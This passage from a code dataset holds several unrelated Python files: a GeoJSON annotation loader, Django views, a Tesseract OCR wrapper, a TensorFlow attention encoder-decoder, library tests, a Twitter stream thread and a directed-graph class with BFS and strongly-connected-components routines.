'classification' in properties.keys():\n classification = properties['classification']\n label = classification['name']\n else:\n print(\"unlabelled annotation\")\n label = default_label\n\n assert label in group_labels.keys(), f'Unknown annotation group {label}'\n label = group_labels[label]\n if label == 'malignant' and (default_label =='cgin' or default_label == 'adenocarcinoma'):\n label = default_label\n\n if geometry_type == 'Polygon':\n annotations_list = gjson_polygon(coordinates, label, default_label)\n elif geometry_type == 'MultiPolygon':\n annotations_list = [gjson_polygon(crd, label, default_label) for crd in coordinates]\n annotations_list = [item for sublist in annotations_list for item in sublist]\n else:\n ### HACK to return anything else\n annotations_list = []\n print(geometry_type, properties)\n \n return annotations_list\n\n\ndef load_annotations_geojson(json_path: Path, group_labels: Dict[str, str], default_label: str) -> List[Annotation]:\n file_in = json_load(json_path)\n features = file_in['features']\n annotations_list = []\n for feat in features:\n annots = annotation_from_feature(feat, group_labels, default_label)\n annotations_list.append(annots)\n \n annotations_list = [item for sublist in annotations_list for item in sublist]\n\n return annotations_list\n","sub_path":"wsipipe/load/annotations/geojson.py","file_name":"geojson.py","file_ext":"py","file_size_in_byte":2801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"548711845","text":"# coding: utf-8\nimport json\nimport datetime\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.http import HttpResponse\nfrom django.shortcuts import render, redirect\nfrom exp.models import *\nfrom exp.forms import *\n\n\n# Вывод данных на страницу шаблона, а так же внесение новых данных в таблицу Users\ndef users_view(request):\n form_list = {}\n object_list = Users.objects.all()\n adduserform = AddUserForm(request.POST or None)\n # Создание записи на основе пост запроса к данным форм\n if request.method == 'POST' and adduserform.is_valid():\n name = request.POST.get('name')\n pay = request.POST.get('paycheck')\n date = request.POST.get('date_joined')\n date = datetime.datetime.strptime(str(date), \"%d.%m.%Y\")\n o = Users.objects.create(name=name, paycheck=pay, date_joined=date)\n o.save()\n return redirect('/')\n # Создание массива заполненных форм на основе данных о записи\n for object in object_list:\n prefix = 'form_{0}'.format(object.pk)\n form = UsersForm(data=request.POST or None, instance=object, prefix=prefix)\n form_list[prefix] = form\n return render(request, 'exp.html', dict(AddUserForm=adduserform))\n\n\n# Вывод данных на страницу шаблона, а так же внесение новых данных в таблицу Rooms\ndef rooms_view(request):\n addroomsform = RoomsForm(request.POST or None)\n # Создание записи на основе модельной формы\n if request.method == 'POST' and addroomsform.is_valid():\n addroomsform.save()\n return redirect('/rooms/')\n return render(request, 'exp_2.html', dict(RoomsForm=addroomsform))\n\n\n# Ajax отправление данных для вывода и добовления пользователя\ndef ajax_add_users(request):\n if request.is_ajax():\n items = {}\n name_list = [\"Id\", \"Имя\", \"Зарплата\", \"Дата поступления на работу\"]\n object_list = Users.objects.all()\n for object in object_list:\n prefix = 'form_{0}'.format(object.pk)\n items[prefix] = {'name': object.name, 'paycheck': int(object.paycheck), 'date_joined': str(object.date_joined.__format__(\"%d.%m.%Y\"))}\n # Сохранение внесенных изменений в таблице\n if request.method == 'GET' and request.GET.get('table_input_id'):\n pk = int(request.GET.get('table_input_id', None))\n name = request.GET.get('table_input_name', None)\n value = request.GET.get('table_input_value', None)\n o = Users.objects.get(pk=pk)\n if name == 'date_joined':\n o.date_joined = datetime.datetime.strptime(str(value), \"%d.%m.%Y\")\n o.save()\n if name == 'paycheck':\n o.paycheck = int(value)\n o.save()\n if name == 'name':\n o.name = value\n o.save()\n return HttpResponse(json.dumps({'error_code': 0, 'qq': items, 'tableTitle': name_list,\n 'len': object_list.__len__()}), content_type='application/json')\n\n\n# Ajax отправление данных для вывода и добовления отделений\ndef ajax_add_rooms(request):\n if request.is_ajax():\n items = {}\n name_list = [\"Id\", \"Отдел\", \"Вместимость\"]\n object_list = Rooms.objects.all()\n for object in object_list:\n prefix = 'form_{0}'.format(object.pk)\n items[prefix] = {'room': object.departament, 'spots': object.spots}\n # Сохранение внесенных изменений в таблице\n if request.method == 'GET' and request.GET.get('input_id'):\n pk = int(request.GET.get('input_id', None))\n name = request.GET.get('input_name', None)\n value = request.GET.get('input_value', None)\n o = Rooms.objects.get(pk=pk)\n if name == 'room':\n o.departament = value\n o.save()\n if name == 'spots':\n o.spots = int(value)\n o.save()\n return HttpResponse(json.dumps({'error_code': 0, 'qq': items, 'tableTitle': name_list,\n 'len': object_list.__len__()}), content_type='application/json')","sub_path":"app_test/exp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"623834555","text":"import subprocess\nimport os\n\n\nclass TesseractDrive:\n def __init__(self):\n self.tesseract_exe_name = 'tesseract'\n self.scratch_image_name = \"temp.bmp\"\n self.scratch_text_name_root = \"temp\"\n self.cleanup_scratch_flag = True\n self.tesseract_level = \"7\"\n\n def image_to_scratch(self, im):\n im.save(self.scratch_image_name, dpi=(200, 200))\n\n def retrieve_text(self):\n inf = open(self.scratch_text_name_root + '.txt')\n text = inf.read()\n inf.close()\n return text\n\n def perform_cleanup(self):\n for name in (self.scratch_image_name, self.scratch_text_name_root + '.txt'):\n try:\n os.remove(name)\n except OSError:\n pass\n\n def call_tesseract(self, input_filename, output_filename):\n args = [self.tesseract_exe_name, input_filename, output_filename, \"-psm\", self.tesseract_level]\n proc = subprocess.Popen(args)\n retcode = proc.wait()\n if retcode != 0:\n self.check_for_errors()\n\n def image_to_string(self, im):\n try:\n self.image_to_scratch(im)\n self.call_tesseract(self.scratch_image_name, self.scratch_text_name_root)\n text = self.retrieve_text()\n finally:\n if self.cleanup_scratch_flag:\n self.perform_cleanup()\n return text\n\n def check_for_errors(self, logfile=\"tesseract.log\"):\n inf = open(logfile)\n text = inf.read()\n inf.close()\n if text.find(\"Error\") != -1:\n raise self.Tesser_General_Exception(text)\n\n class Tesser_General_Exception(Exception):\n def __init__(self, value):\n self.value = value\n\n def __str__(self):\n return repr(self.value)\n","sub_path":"TesseractDrive.py","file_name":"TesseractDrive.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"534134237","text":"import tensorflow\nfrom tensorflow.contrib import rnn\nfrom tensorflow.contrib import seq2seq\nfrom tensorflow.python.layers.core import Dense\nfrom Model.EncoderDecoder_Base import EncoderDecoder_Base\nfrom Model.AttentionMechanism.StandardAttention import StandardAttentionInitializer\n\nVOCABULAR = 41\n\n\nclass EncoderDecoder_StandardAttention(EncoderDecoder_Base):\n def __init__(self, trainData, trainLabel, trainSeq, trainLabelSeq, rnnLayer=2, featureShape=40, batchSize=32,\n hiddenNodules=128, learningRate=1E-3, startFlag=True, graphRevealFlag=True, graphPath='logs/',\n occupyRate=-1):\n super(EncoderDecoder_StandardAttention, self).__init__(\n trainData=trainData, trainLabel=trainLabel, trainSeq=trainSeq, trainLabelSeq=trainLabelSeq,\n rnnLayer=rnnLayer, featureShape=featureShape, batchSize=batchSize, hiddenNodules=hiddenNodules,\n learningRate=learningRate, startFlag=startFlag, graphRevealFlag=graphRevealFlag, graphPath=graphPath,\n occupyRate=occupyRate)\n\n def BuildNetwork(self, learningRate):\n #############################################################################\n # Input Data\n #############################################################################\n\n self.dataInput = tensorflow.placeholder(\n dtype=tensorflow.float32, shape=[None, None, self.featureShape], name='dataInput')\n self.labelInput = tensorflow.placeholder(dtype=tensorflow.int32, shape=[None, None], name='labelInput')\n self.dataLenInput = tensorflow.placeholder(dtype=tensorflow.int32, shape=[None], name='dataLenInput')\n self.labelLenInput = tensorflow.placeholder(dtype=tensorflow.int32, shape=[None], name='labelLenInput')\n\n #############################################################################\n # Batch Parameters\n #############################################################################\n\n self.parameters['BatchSize'], self.parameters['TimeStep'], _ = tensorflow.unstack(\n tensorflow.shape(input=self.dataInput, name='DataShape'))\n self.parameters['LabelStep'] = tensorflow.shape(input=self.labelInput, name='LabelShape')[1]\n\n ###################################################################################################\n # Encoder\n ###################################################################################################\n\n with tensorflow.variable_scope('Encoder'):\n self.parameters['Encoder_Cell_Forward'] = tensorflow.nn.rnn_cell.MultiRNNCell(\n cells=[rnn.LSTMCell(num_units=self.hiddenNodules) for _ in range(self.rnnLayers)], state_is_tuple=True)\n self.parameters['Encoder_Cell_Backward'] = tensorflow.nn.rnn_cell.MultiRNNCell(\n cells=[rnn.LSTMCell(num_units=self.hiddenNodules) for _ in range(self.rnnLayers)], state_is_tuple=True)\n\n self.parameters['RNN_Output'], self.parameters['RNN_FinalState'] = tensorflow.nn.bidirectional_dynamic_rnn(\n cell_fw=self.parameters['Encoder_Cell_Forward'], cell_bw=self.parameters['Encoder_Cell_Backward'],\n inputs=self.dataInput, sequence_length=self.dataLenInput, dtype=tensorflow.float32)\n\n self.AttentionParameter = StandardAttentionInitializer(dataInput=self.parameters['RNN_Output'],\n scopeName='StandardAttention_EncoderDecoder',\n blstmFlag=True,\n hiddenNoduleNumber=2 * self.hiddenNodules)\n\n self.parameters['Decoder_FirstState'] = []\n for index in range(self.rnnLayers):\n self.parameters['RNN_Cell_Layer%d' % index] = rnn.LSTMStateTuple(\n c=self.AttentionParameter['FinalResult'],\n h=tensorflow.concat(\n [self.parameters['RNN_FinalState'][index][0].h, self.parameters['RNN_FinalState'][index][1].h],\n axis=1))\n self.parameters['Decoder_FirstState'].append(self.parameters['RNN_Cell_Layer%d' % index])\n self.parameters['Decoder_FirstState'] = tuple(self.parameters['Decoder_FirstState'])\n\n #############################################################################\n # Decoder Label Pretreatment\n #############################################################################\n\n self.parameters['DecoderEmbedding'] = tensorflow.Variable(\n initial_value=tensorflow.truncated_normal(shape=[VOCABULAR, self.hiddenNodules * 2], stddev=0.1,\n name='DecoderEmbedding'))\n\n self.parameters['DecoderEmbeddingResult'] = tensorflow.nn.embedding_lookup(\n params=self.parameters['DecoderEmbedding'], ids=self.labelInput, name='DecoderEmbeddingResult')\n\n #############################################################################\n # Decoder\n #############################################################################\n\n self.parameters['Decoder_Helper'] = seq2seq.TrainingHelper(\n inputs=self.parameters['DecoderEmbeddingResult'], sequence_length=self.labelLenInput,\n name='Decoder_Helper')\n with tensorflow.variable_scope('Decoder'):\n self.parameters['Decoder_FC'] = Dense(VOCABULAR)\n\n self.parameters['Decoder_Cell'] = tensorflow.nn.rnn_cell.MultiRNNCell(\n cells=[rnn.LSTMCell(num_units=self.hiddenNodules * 2) for _ in range(self.rnnLayers)],\n state_is_tuple=True)\n\n self.parameters['Decoder'] = seq2seq.BasicDecoder(cell=self.parameters['Decoder_Cell'],\n helper=self.parameters['Decoder_Helper'],\n initial_state=self.parameters['Decoder_FirstState'],\n output_layer=self.parameters['Decoder_FC'])\n\n self.parameters['Decoder_Logits'], self.parameters['Decoder_FinalState'], self.parameters[\n 'Decoder_FinalSeq'] = seq2seq.dynamic_decode(decoder=self.parameters['Decoder'])\n\n with tensorflow.name_scope('Loss'):\n self.parameters['TargetsReshape'] = tensorflow.reshape(tensor=self.labelInput, shape=[-1],\n name='TargetsReshape')\n self.parameters['Decoder_Reshape'] = tensorflow.reshape(self.parameters['Decoder_Logits'].rnn_output,\n [-1, VOCABULAR], name='Decoder_Reshape')\n self.parameters['Cost'] = tensorflow.losses.sparse_softmax_cross_entropy(\n labels=self.parameters['TargetsReshape'], logits=self.parameters['Decoder_Reshape'])\n\n self.train = tensorflow.train.AdamOptimizer(learning_rate=learningRate).minimize(\n self.parameters['Cost'])\n","sub_path":"Model/EncoderDecoder_BLSTM_StandardAttention.py","file_name":"EncoderDecoder_BLSTM_StandardAttention.py","file_ext":"py","file_size_in_byte":7077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"155352395","text":"# -*- encoding: utf-8 -*-\nimport pytest\nfrom slugify import slugify\nfrom imakedata.ijusthelp import rewrite_dict\nfrom imakedata.imakedata import IMakeData\n\nfrom imakedata.model.raw import ascii_lowercase_raw, ascii_uppercase_raw, academic_raw\nfrom imakedata.raw.raw import raw\n\ncomplex_string = ' '.join(raw)\n\ntransform_tester = {\n 'name': 'transform_tester',\n 'class': 'quicklist',\n 'data': [complex_string]\n}\n\n\nclass TestClass:\n\n small_number_records = 1\n transform_maker = IMakeData(small_number_records)\n\n def test_transform_upper(self):\n d = self.transform_maker.get_data([\n rewrite_dict(transform_tester, {'itransform': ['upper'],})\n ])\n assert complex_string.upper() == d[0]['transform_tester']\n\n def test_transform_lower(self):\n d = self.transform_maker.get_data([\n rewrite_dict(transform_tester, {'itransform': ['lower'],})\n ])\n assert complex_string.lower() == d[0]['transform_tester']\n\n def test_transform_title(self):\n d = self.transform_maker.get_data([\n rewrite_dict(transform_tester, {'itransform': ['title'],})\n ])\n assert complex_string.title() == d[0]['transform_tester']\n\n def test_transform_chomp(self):\n d = self.transform_maker.get_data([\n rewrite_dict(transform_tester, {'itransform': ['chomp'],})\n ])\n assert complex_string[0] == d[0]['transform_tester']\n\n def test_transform_capitalize(self):\n d = self.transform_maker.get_data([\n rewrite_dict(transform_tester, {'itransform': ['capitalize'],})\n ])\n assert complex_string.capitalize() == d[0]['transform_tester']\n\n def test_transform_slugify(self):\n d = self.transform_maker.get_data([\n rewrite_dict(transform_tester, {'itransform': ['slugify'],})\n ])\n assert slugify(complex_string) == d[0]['transform_tester']\n","sub_path":"imakedata/tests/test_itransform.py","file_name":"test_itransform.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"42116098","text":"import sys\nimport threading\nfrom TwitterAPI.TwitterError import TwitterRequestError, TwitterConnectionError\nfrom controller.TwitterLib.TweetProcessor import TweetProcessor\n\n\n\nclass TwitterStreamThread(threading.Thread):\n\n processor = TweetProcessor()\n\n def __init__(self, number_to_add, search_word, api):\n threading.Thread.__init__(self)\n self.api = api\n self.search_word = search_word\n self.numbers_to_add = number_to_add\n\n # because we break the loop, exception gets raised.\n # If we break the loop ourselves, we set this to false to prevent\n # the user from see'ing the error\n self.loop_error = True\n\n def run(self):\n # start stream using TwitterAPI\n try:\n r = self.api.request('statuses/filter', {'track': self.search_word})\n for tweet_json in r.get_iterator():\n\n if not self.processor.process(tweet_json):\n break\n\n # break if max tweets number is reached (user defined)\n if self.processor.db.get_count() >= self.numbers_to_add:\n # Since we stop the loop ourselves, the exception does not need to work\n # it will get called, but skips if his is false.\n self.loop_error = False\n break\n\n except TwitterRequestError:\n print(\"Twitter api credentials don't seem to be working.\")\n except TwitterConnectionError:\n print(\"Could not connect to the internet. Please check your connection.\")\n except:\n # If this is true, there was an exception.\n # If it was not, we stopped the loop ourselves.\n # Unfortunate, I didn't find a way to solve this proper.\n if self.loop_error:\n print(\"Could not start stream; Check connection\\n\" + sys.exc_info()[0])","sub_path":"src/controller/TwitterLib/TwitterStreamThread.py","file_name":"TwitterStreamThread.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"230768289","text":"import copy\nimport time\nimport random\nimport sys\nimport threading\nfrom collections import defaultdict\nstart_time = time.time()\n\n#sys.setrecursionlimit(150000)\n\n#threading.stack_size(2**27)\n#threading.Thread(target=run).start()\n\nclass Graph(object):\n def __init__(self):\n '''\n Constructor\n # all nodes are integers\n Input:\n graphOut - dictionary - keys are nodes, each element is a list of destinations\n graphIn - dictionary - keys are nodes, each element is a list of sources\n costs - dictionary - keys - tuples (source, destionation) of nodes, element - the cost (integer)\n '''\n self.__graphOut = defaultdict(list)\n self.__graphIn = defaultdict(list)\n self.__costs = defaultdict(list)\n\n def checkIsNode(self, node):\n \"\"\"\n Checks if a node is in the graph or not\n Input: node - integer\n Output: True if it in the graph False otherwise\n \"\"\"\n if node in self.__graphOut:\n return True\n return False\n\n def parseOutBoundNodes(self, node):\n lis = []\n for y in self.__graphOut[node]:\n lis.append(y)\n return lis\n\n def parseInBoundNodes(self, node):\n lis = []\n for y in self.__graphIn[node]:\n lis.append(y)\n return lis\n\n def getNumberOfNodes(self):\n '''\n Returns the number of nodes\n Input: none\n Output: integer\n '''\n return len(self.__graphOut)\n\n def getNumberOfEdges(self):\n '''\n Returns the number of edges\n Input: none\n Output: integer\n '''\n return len(self.__costs)\n\n def parseNodes(self):\n '''\n Returns a list of all nodes in the graph\n Input: none\n Output: a list of nodes\n '''\n listOfnodes = []\n for key in self.__graphOut:\n print(key)\n listOfnodes.append(int(key))\n return listOfnodes\n \n def getInDegreeOfNode(self, node):\n '''\n Returns the number of edges that have the given node as destination or False if it is not in the graph\n Input: node - integer\n Output: positive integer or False\n '''\n if self.checkIsNode(node) == False:\n return False\n \n return len(self.__graphIn[node])\n\n def parseOutBoundEdges(self, node):\n '''\n Parses the outbound edges of a given node\n Input: node - integer\n Output: list of tuples of integer (source, destionation, cost)\n '''\n copy = []\n for neighbour in self.__graphOut[node]:\n copy.append((node, neighbour, self.__costs[(node, neighbour)]))\n return copy\n\n def getOutDegreeOfNode(self, node):\n '''\n returns the number of edges that have the given node as source or False if it is not in the graph\n input: node\n output: positive integer or False\n '''\n if self.checkIsNode(node) == False:\n return False\n return len(self.__graphOut[node])\n\n def parseInBoundEdges(self, node):\n '''\n Parses the inbound edges of a given node\n Input: node - integer\n Output: list of tuples of integer (source, destionation, cost)\n '''\n copy = []\n for source in self.__graphIn[node]:\n copy.append((source, node, self.__costs[(source, node)]))\n return copy\n\n def addNode(self, node):\n '''\n Adds an isolated node to the graph if t is not already in the graphs\n Input: node - integer\n '''\n if self.checkIsNode(node) == False:\n self.__graphIn[node] = []\n self.__graphOut[node] = []\n\n def removeNode(self, node):\n '''\n removes a node and all associated edges if it is in the graph\n input : node\n output:none\n '''\n if self.checkIsNode(node) == False:\n print(\"Invalid node\")\n else:\n for key in self.__graphOut:\n if int(key) == node:\n continue\n if node in self.__graphOut[key]:\n del self.__costs[(key, node)]\n self.__graphOut[key].remove(node)\n\n for key in self.__graphIn:\n if int(key) == node:\n continue\n if node in self.__graphIn[key]:\n del self.__costs[(node, key)]\n self.__graphIn[key].remove(node)\n\n \n del self.__graphIn[node]\n del self.__graphOut[node]\n \n\n\n def checkIsEdge(self, source, destination):\n '''\n checks if an edge given by its source and destination is in the graph\n input: source, destination\n output: True or False\n '''\n if source == destination:\n return False\n if self.checkIsNode(source) == False or self.checkIsNode(destination) == False:\n return False\n if destination in self.__graphOut[source]:\n return True\n return False \n\n def addEdge(self, source, destination, cost):\n '''\n adds a certain edge given by its source and destination and sets its cost if it is not laready in the graph \n input: source, destination, cost\n output: None\n '''\n if self.checkIsEdge(source, destination) == False and source != destination:\n self.__graphOut[source].append(destination)\n self.__graphIn[destination].append(source)\n self.__costs[(source, destination)] = cost\n \n def removeEdge(self, source, destination):\n '''\n removes a certain edge given by its source and destination if it is in the graph \n input: source, destination\n output: None\n '''\n if self.checkIsEdge(source, destination) == False:\n print(\"No such edge\")\n else:\n del self.__costs[(source, destination)]\n self.__graphOut[source].remove(destination)\n self.__graphIn[destination].remove(source)\n\n def getEdgeCost(self, source, destination):\n '''\n returns the cost attached to a certain edge\n input: source, destination (integers)\n output: cost (integer)\n '''\n if self.checkIsEdge(source, destination) == False:\n return -1\n return self.__costs[(source, destination)]\n\n def modifyEdge(self, source, destination, newCost):\n '''\n modifies a certain edge given by its source and destination with then new cost if it exists\n input: source, destination, new cost\n output: none\n '''\n if self.checkIsEdge(source, destination) == True:\n self.__costs[(source, destination)] = newCost\n\n def copyGraph(self):\n '''\n creates a static copy of he graph\n input: none\n output: graph\n '''\n \"\"\"\n newGraph = Graph()\n newGraph.__graphIn = copy.deepcopy(self.__graphIn)\n newGraph.__graphOut = copy.deepcopy(self.__graphOut)\n newGraph.__ = copy.deepcopy(self.__costs)\n \"\"\"\n return copy.deepcopy(self)\n\n def readFromFile(self, fileName):\n '''\n reads a graph from a file\n input: the name of a file formatted as follows:\n first line numberOfnodes numberOfEdges\n next numberOfEdges-th lines triplets <node1 node2 cost>\n\n '''\n with open(fileName,\"r\") as f:\n firstLine = f.readline()\n data = firstLine.split()\n n = int(data[0])\n m = int(data[1])\n for i in range(0, n):\n #print(i)\n self.addNode(int(i))\n\n for i in range(0, m):\n line = f.readline()\n line = line.split()\n self.addEdge(int(line[0]), int(line[1]), int(line[2]))\n\n def writeToFile(self, fileName):\n '''\n reads a graph from a file\n input: the name of a file formatted as follows:\n first line numberOfnodes numberOfEdges\n next numberOfEdges-th lines triplets <node1 node2 cost>\n\n '''\n with open(fileName,\"w\") as f:\n f.write(str(self.getNumberOfNodes()) + ' ' + str(self.getNumberOfEdges()) + '\\n\\n')\n f.write(str(self))\n\n\n\n def __str__(self):\n string = \"\"\n for key in self.__costs:\n string += \"Source: \"\n string += str(key[0])\n string += \" destination: \"\n string += str(key[1])\n string += \" cost: \"\n string += str(self.__costs[key])\n string += '\\n'\n \n return string\n\n def BFS(self, s, end): \n \n # Mark all the vertices as not visited \n visited = [False] * (len(self.__graphIn) + 1) \n #print(visited)\n # Create a queue for BFS \n queue = [] \n fathers = {}\n for node in self.__graphIn:\n fathers[node] = -1\n \n # Mark the source node as \n # visited and enqueue it \n queue.append(s) \n visited[s] = True\n fathers[s] = -1\n\n while queue: \n \n # Dequeue a vertex from \n # queue and print it \n s = queue.pop(0) \n #print (s, end = \" \") \n \n # Get all adjacent vertices of the \n # dequeued vertex s. If a adjacent \n # has not been visited, then mark it \n # visited and enqueue it \n for i in self.__graphOut[s]:\n if visited[i] == False: \n fathers[i] = s\n queue.append(i) \n visited[i] = True\n \n node = end\n if(fathers[end] == -1):\n print(\"The node could not be reached\")\n return\n string = \"\"\n cnt = -1\n while node != -1:\n cnt += 1\n string = str(node) + \" \" + string\n node = fathers[node]\n\n print(cnt)\n print(string)\n\n \n\n def DFSUtil(self, s, visited, dict):\n stack = []\n stack.append(s) \n \n while (len(stack)): \n # Pop a vertex from stack and print it \n s = stack[-1] \n stack.pop() \n \n # Stack may contain same vertex twice. So \n # we need to print the popped item only \n # if it is not visited. \n if (not visited[s]): \n #print(s,end=' ') \n visited[s] = True \n \n # Get all adjacent vertices of the popped vertex s \n # If a adjacent has not been visited, then push it \n # to the stack. \n for node in dict[s]: \n if (not visited[node]): \n stack.append(node) \n\n '''\n # Mark the current node as visited and print it \n visited[v]= True\n #Recur for all the vertices adjacent to this vertex \n for i in dict[v]: \n if visited[i] == False: \n self.DFSUtil(i, visited, dict) \n '''\n \n \n def fillOrder(self, v, visited, stack, dict): \n '''\n stack = []\n stack.append(s) \n \n while (len(stack)): \n # Pop a vertex from stack and print it \n s = stack[-1] \n stack.pop() \n \n # Stack may contain same vertex twice. So \n # we need to print the popped item only \n # if it is not visited. \n if (not visited[s]): \n #print(s,end=' ') \n visited[s] = True \n\n \n # Get all adjacent vertices of the popped vertex s \n # If a adjacent has not been visited, then push it \n # to the stack. \n for node in dict[s]: \n if (not visited[node]): \n stack.append(node) \n mainStack.append(s)\n \n \n\n '''\n # Mark the current node as visited \n visited[v]= True\n #Recur for all the vertices adjacent to this vertex \n for i in dict[v]: \n if visited[i]==False: \n self.fillOrder(i, visited, stack, dict) \n \n stack.append(v)\n \n \n \n \n # The main function that finds and prints all strongly \n # connected components \n def printSCCs(self): \n cnt = 0\n stack = [] \n\n visited =[False]*(len(self.__graphIn))\n\n for i in range(len(self.__graphIn)): \n if visited[i]==False: \n self.fillOrder(i, visited, stack, self.__graphOut) \n \n \n visited =[False]*(len(self.__graphIn)) \n \n while stack: \n i = stack.pop() \n if visited[i]==False: \n cnt += 1\n self.DFSUtil(i, visited, self.__graphIn) \n \n \n print(cnt)\n\n\ndef InitializeGraph(graph, numberOfNodes, numberOfEdges):\n if (numberOfEdges > ((numberOfNodes - 1) * numberOfNodes)):\n numberOfEdges = (numberOfNodes - 1) * numberOfNodes\n print(\"Maximum number of edges exceeded, the number of edges has been changed to: \" + str(numberOfEdges))\n \n edges = []\n for i in range(1, numberOfNodes + 1):\n graph.addNode(i)\n for j in range(1, numberOfNodes + 1):\n if (i != j):\n edges.append((i, j))\n \n for i in range(0, numberOfEdges): \n added = False\n while (added == False):\n edge = edges[random.randint(0, len(edges) - 1)]\n graph.addEdge(edge[0], edge[1], random.randint(1, 100))\n added = graph.checkIsEdge(edge[0], edge[1])\n edges.remove(edge)\n \n\ndef tests(): \n \n g = Graph()\n # Test add \n assert( g.checkIsNode(1) == False)\n g.addNode(1)\n assert(g.getNumberOfNodes() == 1)\n assert(g.checkIsNode(1) == True)\n\n \n\n # Test delete \n g.removeNode(1)\n assert(g.checkIsNode(1) == False)\n assert(g.checkIsNode(3) == False)\n g.removeNode(3)\n assert(g.checkIsNode(3) == False)\n\n # Test add edge \n assert(g.checkIsEdge(1, 2) == False)\n g.addNode(1)\n assert(g.checkIsEdge(1, 2) == False)\n g.addNode(2)\n assert(g.checkIsEdge(1, 2) == False)\n assert(g.getNumberOfEdges() == 0)\n g.addEdge(1, 2, 16)\n assert(g.getNumberOfEdges() == 1)\n assert(g.checkIsEdge(1, 2) == True)\n g.addEdge(2, 1, 18)\n assert(g.getNumberOfEdges() == 2)\n g.removeNode(1)\n\n g.addNode(1)\n g.addEdge(1, 2, 16)\n\n # Test modify edge \n assert(g.getEdgeCost(1, 2) == 16)\n g.modifyEdge(1, 2, 10)\n assert(g.getEdgeCost(1, 2) == 10)\n assert(g.getEdgeCost(1, 3) == -1)\n\n # Test remove edge \n g.removeEdge(1, 2)\n assert(g.checkIsEdge(1, 2) == False)\n assert(g.checkIsEdge(1, 3) == False)\n g.removeEdge(1, 3)\n assert(g.checkIsEdge(1, 3) == False)\n\n \n #Test copy graph\n g.addEdge(1, 2, 16)\n g2 = Graph()\n g2 = g.copyGraph()\n g2.modifyEdge(1, 2, 18)\n assert(g.getEdgeCost(1, 2) == 16)\n assert(g2.getEdgeCost(1, 2) == 18)\n g2 = g2.copyGraph()\n assert(g2.getEdgeCost(1, 2) == 18)\n g2 = g.copyGraph()\n assert(g.getEdgeCost(1, 2) == 16)\n assert(g2.getEdgeCost(1, 2) == 16)\n \n #Test parse nodes\n lis = g.parseNodes()\n assert(len(lis) == g.getNumberOfNodes())\n\n # Test in degree of node \n assert(g.getInDegreeOfNode(1) == 0)\n assert(g.getInDegreeOfNode(2) == 1)\n assert(g.getInDegreeOfNode(3) == False)\n\n # Test out degree of node \n assert(g.getOutDegreeOfNode(1) == 1)\n assert(g.getOutDegreeOfNode(2) == 0)\n assert(g.getOutDegreeOfNode(3) == False)\n\n # Test outbound edges\n g.addNode(3)\n g.addNode(4)\n g.addEdge(1, 3, 14)\n g.addEdge(1, 4, 15)\n edges = g.parseOutBoundEdges(1)\n assert(len(edges) == 3)\n\n # Test inbound edges\n g.addEdge(3, 2, 14)\n g.addEdge(4, 2, 15)\n edges = g.parseInBoundEdges(2)\n assert(len(edges) == 3)\n\n # Test constructor random graph \n gr = Graph()\n InitializeGraph(gr, 12, 10)\n assert(gr.getNumberOfNodes() == 12)\n assert(gr.getNumberOfEdges() == 10)\n \n g4 = Graph()\n InitializeGraph (g4, 5, 60)\n assert(g4.getNumberOfNodes() == 5) \n assert(g4.getNumberOfEdges() == 20)\n\n g5 = Graph()\n g5.readFromFile(\"E:/Faculta/sem 2/grafuri/assignment1/in.txt\")\n g5.writeToFile(\"E:/Faculta/sem 2/grafuri/assignment1/out.txt\")\n\n g6 = Graph()\n g6.addNode(0)\n g6.addNode(1)\n g6.addNode(2)\n g6.addNode(3)\n g6.addNode(4)\n g6.addEdge(0, 1, 0) \n g6.addEdge(0, 2, 0) \n g6.addEdge(1, 2, 0) \n g6.addEdge(2, 0, 0) \n g6.addEdge(2, 3, 0) \n g6.addEdge(3, 3, 0)\n g6.addEdge(1, 4, 0)\n g6.BFS(2, 4)\n\n\ndef menu():\n g = Graph()\n print(\"You can do the following: print, createRandomGraph, addEdge, addNode, checkIsEdge, checkIsNode, getEdgeCost, getInDegreeOfNode, getOutDegreeOfNode, getNumberOfEdges, getNumberOfNodes, modifyEdge, readFromFile, removeEdge, removeNode, writeToFile, ShortestPath, StronglyConnectedComponents, exit\\n\")\n print(\"\\n\")\n print(\"Enter command: \")\n command = input()\n while (True):\n \n ok = False\n if (command == \"addEdge\"):\n \n ok = True\n source = int(input(\"source: \"))\n destination = int(input(\"destination: \"))\n cost = int(input(\"cost: \"))\n g.addEdge(source, destination, cost)\n \n if (command == \"addNode\"):\n \n ok = True\n node = int(input(\"node: \"))\n g.addNode(node)\n \n if (command == \"checkIsEdge\"):\n \n ok = True\n source = int(input(\"source: \"))\n destination = int(input(\"destination: \"))\n if (g.checkIsEdge(source, destination)):\n print(\"True\")\n else:\n print(\"False\")\n \n if (command == \"checkIsNode\"):\n \n ok = True\n node = int(input(\"node: \"))\n if (g.checkIsNode(node)):\n print(\"True\")\n else:\n print(\"False\")\n \n if (command == \"getEdgeCost\"):\n \n ok = True\n source = int(input(\"source: \"))\n destination = int(input(\"destination: \"))\n print(g.getEdgeCost(source, destination))\n \n if (command == \"getInDegreeOfNode\"):\n \n ok = True\n node = int(input(\"node: \"))\n print(g.getInDegreeOfNode(node))\n print(g.parseInBoundEdges(node))\n\n if (command == \"getOutDegreeOfNode\"):\n\n ok = True\n node = int(input(\"node: \"))\n print(g.getOutDegreeOfNode(node))\n print(g.parseOutBoundEdges(node))\n \n if (command == \"getNumberOfEdges\"):\n \n ok = True\n print(g.getNumberOfEdges())\n \n if (command == \"getNumberOfNodes\"):\n \n ok = True\n print(g.getNumberOfNodes())\n \n if (command == \"modifyEdge\"):\n \n ok = True\n source = int(input(\"source: \"))\n destination = int(input(\"destination: \"))\n newCost = int(input(\"new cost: \"))\n g.modifyEdge(source, destination, newCost)\n \n if (command == \"readFromFile\"):\n \n ok = True\n g.readFromFile(\"E:/Faculta/sem 